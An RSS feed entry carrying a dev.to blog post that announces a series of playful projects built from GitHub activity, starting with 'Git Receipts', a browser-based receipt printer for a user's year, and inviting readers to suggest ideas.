      <link>https://dev.to/ihssmaheel/beyond-the-green-squares-turning-github-activity-into-things-worth-keeping-9en</link>
      <guid>https://dev.to/ihssmaheel/beyond-the-green-squares-turning-github-activity-into-things-worth-keeping-9en</guid>
      <description>&lt;p&gt;A series of small, playful projects built from your GitHub activity. Try them on your own profile, keep the results, and help decide what I build next.&lt;/p&gt;

&lt;p&gt;You push code for a whole year. Late nights, tiny fixes, big launches, reviews for other people's work.&lt;/p&gt;

&lt;p&gt;And GitHub shows all of that as a grid of green squares.&lt;/p&gt;

&lt;p&gt;Squares are fine. But I keep wondering what that year would look like if it became something you could hold, share, or stick on a wall.&lt;/p&gt;

&lt;p&gt;So I'm starting &lt;strong&gt;Beyond the Green Squares&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this series is
&lt;/h2&gt;

&lt;p&gt;Each post is one small project that turns GitHub activity into something unexpected. The rules are simple:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;You can try it yourself.&lt;/strong&gt; Every project works with a public GitHub username, no sign-in needed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You can keep the result.&lt;/strong&gt; Download it, share it, or print it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The numbers stay honest.&lt;/strong&gt; If data is missing, I won't estimate it. Samples will always be labeled as samples.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;I'll show how it's built.&lt;/strong&gt; What worked, what broke, and what I'd do differently.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The design will be playful. The data will not be.&lt;/p&gt;

&lt;h2&gt;
  
  
  Project #1 is live 🧾
&lt;/h2&gt;

&lt;p&gt;The first build is &lt;strong&gt;Git Receipts&lt;/strong&gt;, a tiny thermal printer in your browser. Enter a GitHub username, press FEED, and your year prints out as a receipt, paper-feed animation and all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://dev.to/ihssmaheel/i-built-a-receipt-printer-for-your-github-year-21jk"&gt;Read the full story: I Built a Receipt Printer for Your GitHub Year →&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://git-receipts.vercel.app" rel="noopener noreferrer"&gt;Or skip the reading and print your year →&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Now I need you 👀
&lt;/h2&gt;

&lt;p&gt;This series gets better with your ideas.&lt;/p&gt;

&lt;p&gt;If you have a unique idea for turning GitHub activity into something you'd actually want to share, drop it in the comments. Weird, beautiful, useless, brilliant, all welcome. The ones I can't stop thinking about might become the next post, with credit to you.&lt;/p&gt;

&lt;p&gt;So, what should we build next?&lt;/p&gt;

</description>
      <category>github</category>
      <category>webdev</category>
      <category>showdev</category>
      <category>discuss</category>
    </item>
  </channel>
</rss>
